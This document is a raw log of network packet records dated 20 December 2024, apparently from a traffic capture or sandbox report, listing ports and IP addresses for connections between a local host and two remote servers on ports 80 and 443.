Dec 20, 2024 04:12:19.467964888 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.468008041 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.468132973 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.468175888 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.469073057 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.469121933 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.469192982 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.469233990 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.470140934 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.470185041 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.470264912 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.470307112 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.471218109 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.471262932 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.471330881 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.471378088 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.472335100 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.472379923 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.472434998 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.472492933 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.473457098 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.473500967 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.473562956 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.473603964 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.474540949 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.474585056 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.474653006 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.474694014 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.475636959 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.475682020 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.475706100 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.475748062 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.476783991 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.476833105 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.476861954 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.476902962 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.477861881 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.477905989 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.477972031 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.478012085 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.478964090 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.479005098 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.479078054 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.479115963 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.480063915 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.480112076 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.480142117 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.480184078 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.481173992 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.481197119 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.481213093 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.481235027 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.482275009 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.482340097 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.482362986 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.482403994 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.483366966 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.483409882 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.483468056 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.483522892 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.484473944 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.484515905 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.484574080 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.484615088 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.485588074 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.485632896 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.485713959 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.485754967 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.486663103 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.486712933 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.486751080 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.486792088 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.487745047 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.487790108 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.487859011 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.487900972 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.488872051 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.488915920 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.488972902 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.489012957 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.489959002 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.490001917 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.490061045 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.490106106 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.491095066 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.491138935 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.491206884 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.491246939 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.492173910 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.492219925 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.492284060 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.492324114 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.493283987 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.493329048 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.493393898 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.493438005 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.494384050 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.494426966 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.494483948 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.494527102 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.495482922 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.495522976 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.495557070 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.495599985 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.496611118 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.496654034 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.496723890 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.496778965 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.497703075 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.497752905 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.497836113 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.497876883 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.498790979 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.498900890 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.498948097 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.499885082 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.499932051 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.500017881 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.500062943 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.500998020 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.501039982 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.501051903 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.501091003 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.502090931 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.502135992 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.502187967 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.502228022 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.503190994 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.503233910 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.503298044 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.503346920 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.504288912 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.504332066 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.504355907 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.504394054 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.505388975 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.505430937 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.505492926 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.505533934 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.506509066 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.506553888 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.506578922 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.506614923 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.507607937 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.507649899 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.507715940 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.507771969 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.508697033 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.508740902 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.508809090 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.508847952 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.509809017 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.509852886 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.509922981 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.509964943 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.510909081 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.510952950 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.511020899 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.511060953 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.512022018 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.512064934 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.512175083 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.512217999 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.513101101 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.513144016 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.513287067 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.513329983 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.514226913 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.514269114 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.514329910 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.514368057 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.515281916 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.515327930 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.515464067 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.515508890 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.516410112 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.516453981 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.516535997 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.516577005 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.517543077 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.517585993 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.517637968 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.517678022 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.518578053 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.518620968 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.629951954 CET	443	49790	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:19.630065918 CET	49790	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:19.631797075 CET	49790	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:19.631824017 CET	443	49790	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:19.632273912 CET	443	49790	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:19.634289980 CET	49790	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:19.634332895 CET	49790	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:19.634402037 CET	443	49790	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:19.652832031 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.652892113 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.653112888 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.653215885 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.653350115 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.653418064 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.653429985 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.653470993 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.654462099 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.654506922 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.654618025 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.654659986 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.655555010 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.655597925 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.655670881 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.655715942 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.656677008 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.656781912 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.656847954 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.657766104 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.657879114 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.657929897 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.658842087 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.658902884 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.658927917 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.659900904 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.659959078 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.660075903 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.660129070 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.661083937 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.661149025 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.661175966 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.661242008 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.662194967 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.662242889 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.662273884 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.662317038 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.663269043 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.663319111 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.663355112 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.663395882 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.664355040 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.664470911 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.664484978 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.664650917 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.665461063 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.665504932 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.665584087 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.665751934 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.666560888 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.666609049 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.666670084 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.666740894 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.667656898 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.667715073 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.667769909 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.668765068 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.668833971 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.668853998 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.669857979 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.669917107 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.669949055 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.669992924 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.670955896 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.671025991 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.671056986 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.671880960 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.672041893 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.672173977 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.672214985 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.673158884 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.673263073 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.673327923 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.674293041 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.674385071 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.674438000 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.675355911 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.675476074 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.675546885 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.676490068 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.676636934 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.676685095 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.677582979 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.677736998 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.677781105 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.678704023 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.678849936 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.678894997 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.679775000 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.679816961 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.679887056 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.680849075 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.680882931 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.680919886 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.680979967 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.681015968 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.681993008 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.682044983 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.682070017 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.683104038 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.683170080 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.683207989 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.683873892 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.684197903 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.684264898 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.684319019 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.685303926 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.685410023 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.685476065 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.686440945 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.686506033 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.686578989 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.687504053 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.687618017 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.687676907 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.688597918 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.688711882 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.688776016 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.689701080 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.689805984 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.689867973 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.690809011 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.690857887 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.690895081 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.691906929 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.691965103 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.691996098 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.692864895 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.693007946 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.693100929 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.693142891 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.694104910 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.694209099 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.694259882 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.695219040 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.695406914 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.695456028 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.696337938 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.696410894 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.696459055 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.697412014 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.697561026 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.697628021 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.698512077 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.698630095 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.698678017 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.699644089 CET	80	49783	31.41.244.11	192.168.2.4
